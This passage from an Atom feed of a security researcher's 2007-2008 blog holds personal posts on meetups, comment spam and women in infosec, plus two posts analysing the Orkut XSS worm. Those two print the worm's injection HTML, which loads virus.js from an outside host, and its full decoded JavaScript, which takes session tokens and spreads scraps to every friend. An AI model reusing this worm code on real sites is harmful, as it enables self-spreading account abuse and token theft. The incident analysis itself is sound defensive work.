xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/03/arr-vmware-is-driving-me-nuts.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-5753839446753822822</id><published>2008-03-04T21:32:00.000-08:00</published><updated>2008-03-04T21:38:03.695-08:00</updated><title type="text">My D&amp;D</title><content type="html">Let me show you it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zooomr.com/photos/ryanlrussell/4409944/" title="Photo Sharing"&gt;&lt;img src="http://static.zooomr.com/images/4409944_ea0040f79c.jpg" width="500" height="375" alt="DSC02024" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Set &lt;A HREF="http://www.zooomr.com/photos/ryanlrussell/sets/29324/"&gt;here&lt;/A&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-5753839446753822822?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/YzYw1Wmb7LM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/5753839446753822822/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=5753839446753822822" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5753839446753822822" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5753839446753822822" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/YzYw1Wmb7LM/my-d.html" title="My D&amp;D" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/03/my-d.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-2381549055715809294</id><published>2007-12-19T00:22:00.000-08:00</published><updated>2007-12-19T01:09:55.107-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title type="text">More on Orkut worm</title><content type="html">Yes, my HTML/Javascript-fu is weak. So much so that I didn't know we were dealing with pure Javascript. Javascript that just happens to exist to facilitate posting Flash movies and games, so that's why it has "Flash" written all over it.&lt;br /&gt;&lt;br /&gt;To back up several steps... I received an email from Orkut saying that someone I know had left me a scrapbook entry. I went and looked at it, and was puzzling over the non-Englishness of it from someone whom I know is an English speaker. Of course during that time my browser (Firefox on OS X) was busy doing the same to my Orkut contacts. Sorry about that guys!&lt;br /&gt;&lt;br /&gt;One of them is Jeremy Rauch. Within minutes of me looking at my scrapbook, I get email that Jeremy and others have now left me new scrapbook entries. This is about when I start to guess what's going on. I mail Jeremy to point out that he seems to have it now, and he says he knows... I gave it to him. Whoops! Jeremy was skeptical that Flash was really involved, since he has it blocked in his browser by default. He was right.&lt;br /&gt;&lt;br /&gt;So here is what I think is happening, to the best of my ability as someone with weak Javascript-fu. Take a look at the chunk of HTML that ends up as a scrapbook entry that I &lt;a href="http://ryanlrussell.blogspot.com/2007/12/orkut-virus.html"&gt;posted earlier&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It obviously pulls in a chunk of Javascript that is even named "virus.js". But why all the trickery with the Shockwave and flash stuff? If Orkut allows posting raw HTML, why the games? Why not just source virus.js and be done with it?&lt;br /&gt;&lt;br /&gt;So I did some experiments tonight. I tried the old script, alert 'hello I'm an XSS', etc... and that doesn't work. It says my rich content was rejected, see &lt;a href="http://help.orkut.com/support/bin/answer.py?answer=66309&amp;amp;hl=en-US"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;And yet, I can paste in a much more complicated embed a flash movie expression, and that DOES work. Though, it made me fill in a CAPTCHA. I suspect that CAPTCHA is brand new as of tonight, otherwise I'm not seeing how the worm worked so well.&lt;br /&gt;&lt;br /&gt;So the basic security challenge for Orkut here is that they want to allow some arbitrary HTML, but not others. As we have seen for many years with web-based email, that's a pretty hard problem to solve.&lt;br /&gt;&lt;br /&gt;So that's why the hoops to jump through. The worm author needed something that looked like a flash movie so that Orkut would allow posting it, but in fact allowed him to pull in arbitrary Javascript.&lt;br /&gt;&lt;br /&gt;This is where the &lt;a href="http://blog.deconcept.com/swfobject/"&gt;SWFObject&lt;/a&gt; library comes into play. Its purpose in life seems to be to make it easier to embed Flash stuff and have it play properly. Orkut is nice enough to make this library available to every browser that loads the Scrapbook (and probably other) pages. They keep it at &lt;a href="http://img2.orkut.com/js/gen/scraps006.js"&gt;http://img2.orkut.com/js/gen/scraps006.js&lt;/a&gt;, which they source for you.&lt;br /&gt;&lt;br /&gt;It looks to me like the worm author is able to build a SWFObject that includes the Javascript and causes it to be embedded in the Orkut page, thereby acting in the right context to have access to your Orkut cookies and all the good stuff that an AJAX worm needs. MySpace isn't alone in having all the good Web 2.0 worms anymore.&lt;br /&gt;&lt;br /&gt;Jeremy decoded and prettied up the obfuscated Javascript. You can see that code at the end. If you're watching carefully, you'll see this version has a different message as the scrap body than the one I originally posted. That means the person (presumably the worm author) who controls the virus.js download page has revved the file at least one. I have two different (obfuscated) versions. Since I believe Orkut was taking active measures to shut this thing down, I'm guessing the author changes the text in case Orkut was keying off that.&lt;br /&gt;&lt;br /&gt;Like I mentioned before, if the CAPTCHA is new, that should essentially stop this thing from spreading. This kind of worm has interesting implications for social sites. If this gets to be really common, it means you'll be answering CAPTCHAs or something similar left and right.&lt;br /&gt;&lt;br /&gt;Also worth noting is that stopping the worm doesn't stop other interesting attacks. I was still able to post the same embed chunk of code to my own scrapbook as an experiment, I just had to answer the CAPTCHA. So a human could still put something there. If they can use it to run Javascript, that still leaves open attacks where they can steal your cookies.&lt;br /&gt;&lt;br /&gt;It looks like the immediate problem is over. I probably won't have a lot more technical to say on this one. I hope that the Jeremiahs and RSnakes of the world will jump in soon and tell me how the worm actually works.&lt;br /&gt;&lt;br /&gt;Decoded Javascript:&lt;br /&gt;&lt;br /&gt;var index=0;&lt;br /&gt;var POST=JSHDF["CGI.POST_TOKEN"];&lt;br /&gt;var SIG=JSHDF["Page.signature.raw"];&lt;br /&gt;&lt;br /&gt;function createXMLHttpRequest(){&lt;br /&gt;    try {&lt;br /&gt;        return new&lt;br /&gt;        ActiveXObject("Msxml2.XMLHTTP")&lt;br /&gt;    }&lt;br /&gt;    catch(e){&lt;br /&gt;    } ;&lt;br /&gt;&lt;br /&gt;    try {&lt;br /&gt;        return new ActiveXObject("Microsoft.XMLHTTP")&lt;br /&gt;    }&lt;br /&gt;    catch(e){&lt;br /&gt;    };&lt;br /&gt;&lt;br /&gt;    try {&lt;br /&gt;        return new XMLHttpRequest()&lt;br /&gt;    }&lt;br /&gt;    catch(e){&lt;br /&gt;    } ;&lt;br /&gt;    return null&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;function setCookie(name,value,expires,path,domain,secure){&lt;br /&gt;    var curCookie=name+"="+escape(value)+(expires?";expires="+expires.toGMTString():"")+(path?";path="+path:"")+(domain?";domain="+domain:"")+(secure?";secure":"");&lt;br /&gt;    document.cookie=curCookie&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;function getCookie(name){&lt;br /&gt;    var dc=document.cookie;&lt;br /&gt;    var prefix=name+"=";&lt;br /&gt;    var begin=dc.indexOf(";"+prefix);&lt;br /&gt;    if(begin==-1){&lt;br /&gt;        begin=dc.indexOf(prefix);&lt;br /&gt;        if(begin!=0){&lt;br /&gt;            return false&lt;br /&gt;        }&lt;br /&gt;    } else {&lt;br /&gt;        begin+=2&lt;br /&gt;    };&lt;br /&gt;    var end=document.cookie.indexOf(";",begin);&lt;br /&gt;&lt;br /&gt;    if(end==-1){&lt;br /&gt;        end=dc.length&lt;br /&gt;    };&lt;br /&gt;    return unescape(dc.substring(begin+prefix.length,end))&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;function deleteCookie(name,path,domain){&lt;br /&gt;    if(getCookie(name)){      document.cookie=name+"="+(path?";path="+path:"")+(domain?";domain="+domain:"")+";expires=Thu, 01-Jan-70 00:00:01 GMT";&lt;br /&gt;        history.go(0)&lt;br /&gt;        }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;function loadFriends(){&lt;br /&gt;    var xml=createXMLHttpRequest();&lt;br /&gt;    if(xml){&lt;br /&gt;        xml.open("GET","http://www.orkut.com/Compose.aspx",true);&lt;br /&gt;        xml.send(null);&lt;br /&gt;        xml.onreadystatechange=function(){&lt;br /&gt;            if(xml.readyState==4){&lt;br /&gt;                if(xml.status==200){&lt;br /&gt;                    var xmlr=xml.responseText;&lt;br /&gt;                    var div=document.createElement("div");&lt;br /&gt;                    div.innerHTML=xmlr;&lt;br /&gt;                    var select=div.getElementsByTagName("select").item(0);&lt;br /&gt;                    if(select){&lt;br /&gt;                        select.removeChild(select.getElementsByTagName("option").item(0));&lt;br /&gt;                        select.setAttribute("id","selectedList");&lt;br /&gt;                        select.style.display="none";&lt;br /&gt;                        document.body.appendChild(select);&lt;br /&gt;                        sendScrap()&lt;br /&gt;                    }&lt;br /&gt;                } else {&lt;br /&gt;                    loadFriends()&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;        xml.send(null)&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function cmm_join(){&lt;br /&gt;    var send="POST_TOKEN="+encodeURIComponent(POST)+"&amp;amp;signature="+encodeURIComponent(SIG)+"&amp;amp;Action.join";&lt;br /&gt;    var  xml=createXMLHttpRequest();&lt;br /&gt;    xml.open('POST','http://www.orkut.com/CommunityJoin.aspx?cmm='+String.fromCharCode(52,52,48,48,49,56,49,56),true);&lt;br /&gt;    xml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');&lt;br /&gt;    xml.send(send);&lt;br /&gt;    xml.onreadystatechange=function(){&lt;br /&gt;        if(xml.readyState==4){&lt;br /&gt;            if(xml.status!=200){&lt;br /&gt;                cmm_join();&lt;br /&gt;                return&lt;br /&gt;            };&lt;br /&gt;            loadFriends()&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;function sendScrap(){&lt;br /&gt;    if(index==document.getElementById("selectedList").length){&lt;br /&gt;        return&lt;br /&gt;    };&lt;br /&gt;    var scrapText="Boas festas de final de ano![silver]"+new Date().getTime()+"[/silver] ";&lt;br /&gt;        var   send="Action.submit=1&amp;amp;POST_TOKEN="+encodeURIComponent(POST)+"&amp;amp;scrapText="+encodeURIComponent(scrapText)+"&amp;amp;signature="+encodeURIComponent(SIG)+"&amp;amp;toUserId="+document.getElementById("selectedList").item(index).value;&lt;br /&gt;&lt;br /&gt;    var xml=createXMLHttpRequest();&lt;br /&gt;    xml.open("POST","http://www.orkut.com/Scrapbook.aspx",true);&lt;br /&gt;    xml.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");&lt;br /&gt;    xml.send(send);&lt;br /&gt;    xml.onreadystatechange=function(){&lt;br /&gt;        if(xml.readyState==4){&lt;br /&gt;            index++;&lt;br /&gt;            var wDate=new Date;&lt;br /&gt;            wDate.setTime(wDate.getTime()+86400);&lt;br /&gt;            setCookie('wormdoorkut',index,wDate);&lt;br /&gt;            sendScrap()&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;if(!getCookie('wormdoorkut')){&lt;br /&gt;    var wDate=new Date;&lt;br /&gt;    wDate.setTime(wDate.getTime()+86400);&lt;br /&gt;    setCookie('wormdoorkut','0',wDate)&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;index=getCookie('wormdoorkut');&lt;br /&gt;cmm_join();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-2381549055715809294?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/cCXgi-Ag4Js" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/2381549055715809294/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=2381549055715809294" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/2381549055715809294" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/2381549055715809294" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/cCXgi-Ag4Js/more-on-orkut-worm.html" title="More on Orkut worm" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/12/more-on-orkut-worm.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-6114250041265022704</id><published>2007-12-18T21:02:00.000-08:00</published><updated>2007-12-19T00:23:41.681-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title type="text">Orkut "virus"</title><content type="html">More of a worm, actually.&lt;br /&gt;&lt;br /&gt;I had an email from Orkut this evening telling me I had a new scrapbook entry. I don't really use Orkut, but I signed up a while back, and friended a bunch of people I know. The scrapbook entry was a bit cryptic:&lt;br /&gt;&lt;pre wrap=""&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;pre wrap=""&gt;2008 vem ai... que ele comece mto bem para vc&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I still don't know exactly what it means, I'm assuming it's Portuguese. Babelfish wasn't any help. I won't mention who I got it from, but I will admit that if you are friended by me on Orkut, I probably gave you a copy too. Fortunately, it looks like Orkut is actively and quickly deleting them, to stop the spread. I say completely unsarcastically, good job Orkut on the quick response!&lt;br /&gt;&lt;br /&gt;I haven't done any kind of through analysis yet, but it looks like a Javascript worm that kicks in via a Flash XSS? My HTML/Javascript/Flash-fu is pretty darn weak. This is what it looked like:&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="flashDiv295378627"&amp;gt;&amp;lt;embed type="application/x-shockwave-flash" src="Scrapbook_files/LoL.html" style="" id="295378627" name="295378627" bgcolor="#FFFFFF" quality="autohigh" wmode="transparent" allownetworking="internal" allowscriptaccess="never" height="1" width="1"&amp;gt;&amp;lt;/embed&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;script type="text/javascript"&amp;gt; var flashWriter = new _SWFObject('http://www.orkut.com/LoL.aspx', '295378627', '1', '1', '9', '#FFFFFF', 'autohigh', '', '', '295378627'); flashWriter._addParam('wmode', 'transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape(''); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv295378627');&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;Looks like it joins you to an Orkut group, too:&lt;br /&gt;&lt;br /&gt;&lt;A HREF="http://www.orkut.com/Community.aspx?cmm=44001818"&gt;Infectados pelo Vírus do Orkut&lt;/A&gt;.&lt;br /&gt;&lt;br /&gt;Owner of the group is a new-looking account named "Virus do Orkut". Also, listed at the end of the virus.js file is this: author="Rodrigo Lacerda"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-6114250041265022704?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/6mPNQWXVxgI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/6114250041265022704/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=6114250041265022704" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/6114250041265022704" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/6114250041265022704" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/6mPNQWXVxgI/orkut-virus.html" title="Orkut &quot;virus&quot;" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/12/orkut-virus.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-2717294422425143073</id><published>2007-10-30T08:23:00.000-07:00</published><updated>2007-10-30T08:25:51.612-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><title type="text">Comment spammers</title><content type="html">The comment spammers have finally found me. I have tried deleting the comments manually, but they just post a couple more every day. I've turned on CAPTCHAs, we'll see how that works. I'm loath to put any barriers in for people wanting to comment, so sorry about that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-2717294422425143073?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/paufRqXHXY4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/2717294422425143073/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=2717294422425143073" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/2717294422425143073" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/2717294422425143073" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/paufRqXHXY4/comment-spammers.html" title="Comment spammers" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/10/comment-spammers.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-5351555586512181302</id><published>2007-07-31T10:08:00.000-07:00</published><updated>2007-07-31T10:12:47.798-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><title type="text">Off to vegas 2007</title><content type="html">I'm on my way to Las Vegas for Black Hat &amp;amp; Defcon. For Black Hat, it looks like I'm doing a booksigning on Wednesday at 4:30. BigFix is hosting the Gala at 6:00 on Wednesday as well, so I will be putting in an appearance. Please come say hi if you're around. I will also be at Defcon, but good luck spotting me in the crowd there if you don't already know what I look like.&lt;br /&gt;&lt;br /&gt;I look forward to catching up with friends I only get to see at cons.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-5351555586512181302?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/v7OS6sw_Sys" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/5351555586512181302/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=5351555586512181302" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5351555586512181302" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5351555586512181302" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/v7OS6sw_Sys/off-to-vegas-2007.html" title="Off to vegas 2007" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/07/off-to-vegas-2007.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-5181501474915835286</id><published>2007-07-19T10:36:00.000-07:00</published><updated>2008-05-03T14:21:45.021-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">The Ladies of Infosec</title><content type="html">I was at an event not long ago, and the woman in the group was really pissed. In a room full of nothing but security geeks, someone asked her "Oh, do you do security work?"&lt;br /&gt;&lt;br /&gt;This didn't happen with any of the guys. The question they got was "Where do you work?"&lt;br /&gt;&lt;br /&gt;I was thinking about this today, and I realized that every woman I know who works in infosec has told me a similar story. That might be a slight exaggeration, but not much. Literally every one I can think of right now has told me one of these stories.&lt;br /&gt;&lt;br /&gt;They get things like:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Are you here with your boyfriend?&lt;/li&gt;&lt;li&gt;She used to be a man&lt;/li&gt;&lt;li&gt;Take your shirt off&lt;/li&gt;&lt;/ul&gt;Yes, sadly I have heard jerks yell out "take your shirt off" when a woman was trying to give a talk.&lt;br /&gt;&lt;br /&gt;How much do women hate this? You can read what &lt;a href="http://archives.neohapsis.com/archives/isn/2004-q2/0059.html"&gt;Raven thinks&lt;/a&gt; about it.&lt;br /&gt;&lt;br /&gt;Let me tell you a little about this particular woman in question that reminded me of all this. She has worked in some of the most important software companies in the world, in the security groups. She has worked at at least two security companies that I know of. Pick just about any well-know security male, and they know who she is and they respect her work.&lt;br /&gt;&lt;br /&gt;If you've been paying attention to the infosec world, you probably know who I'm talking about. Keep it to yourself, because this particular woman is not the point.&lt;br /&gt;&lt;br /&gt;I have met a number of women at various conferences. I'd look really foolish if I went around assuming they weren't attendees or didn't know what they were doing. I've met a woman who works for the CIA. I've met one who was a heavy-duty cryptographer. I've met one who does BGP vulnerability research. Yes, the women are rare. Staring and asking stupid questions doesn't help improve that.&lt;br /&gt;&lt;br /&gt;Because of how hostile the infosec world is to women, the ones who manage to survive tend to really love what they do, and have worked very hard to stay in the field. This may mean that the woman you just met is better at security than 90% of the men. That probably includes you (and I'll happily concede that includes me.)&lt;br /&gt;&lt;br /&gt;Keep that in mind.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-5181501474915835286?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/Qwf3gxVKc_Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/5181501474915835286/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=5181501474915835286" title="9 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5181501474915835286" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5181501474915835286" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/Qwf3gxVKc_Q/ladies-of-infosec.html" title="The Ladies of Infosec" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">9</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/07/ladies-of-infosec.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-8184293353089329880</id><published>2007-07-18T13:36:00.000-07:00</published><updated>2007-07-18T13:41:33.622-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">BaySec 3 Tonight!</title><content type="html">BaySec 3 is tonight, July 18 2007.&lt;br /&gt;&lt;br /&gt;Per &lt;a href="http://rdist.root.org/2007/07/11/next-baysec-july-18-at-oneills/"&gt;Nate&lt;/a&gt;:&lt;br /&gt;July 18th, 7-11 pm or so. &lt;br /&gt;O'Neills Irish Pub&lt;br /&gt;747 3rd St (at King)&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://www.tisoneills.com/"&gt;http://www.tisoneills.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-8184293353089329880?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/AQZs42rWBhE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/8184293353089329880/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=8184293353089329880" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/8184293353089329880" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/8184293353089329880" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/AQZs42rWBhE/baysec-3-tonight.html" title="BaySec 3 Tonight!" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/07/baysec-3-tonight.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-8243642095782423823</id><published>2007-07-17T16:46:00.000-07:00</published><updated>2007-07-17T16:51:26.943-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="work" /><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><title type="text">The BigFix logo</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bigblog.typepad.com/bigfix_the_relay/2007/07/cubism.html"&gt;&lt;img style="cursor: pointer; width: 400px;" src="http://farm2.static.flickr.com/1083/801077200_d8e05b8d49.jpg?v=0" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I promised to keep my work blogging on the the &lt;a href="http://bigblog.typepad.com/"&gt;work blog&lt;/a&gt;, unless I thought I had been particularly clever. I think &lt;a href="http://bigblog.typepad.com/bigfix_the_relay/2007/07/cubism.html"&gt;this one&lt;/a&gt; qualifies.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-8243642095782423823?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/66noMJ2qAZE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/8243642095782423823/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=8243642095782423823" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/8243642095782423823" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/8243642095782423823" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/66noMJ2qAZE/bigfix-logo.html" title="The BigFix logo" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/07/bigfix-logo.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-6247537631153553265</id><published>2007-06-20T08:24:00.000-07:00</published><updated>2007-06-20T08:25:56.208-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">BaySec 2</title><content type="html">BaySec 2 is tonight, June 20 2007.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sockpuppet.org/baysec/"&gt;Details here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Hope to see you there!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-6247537631153553265?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img 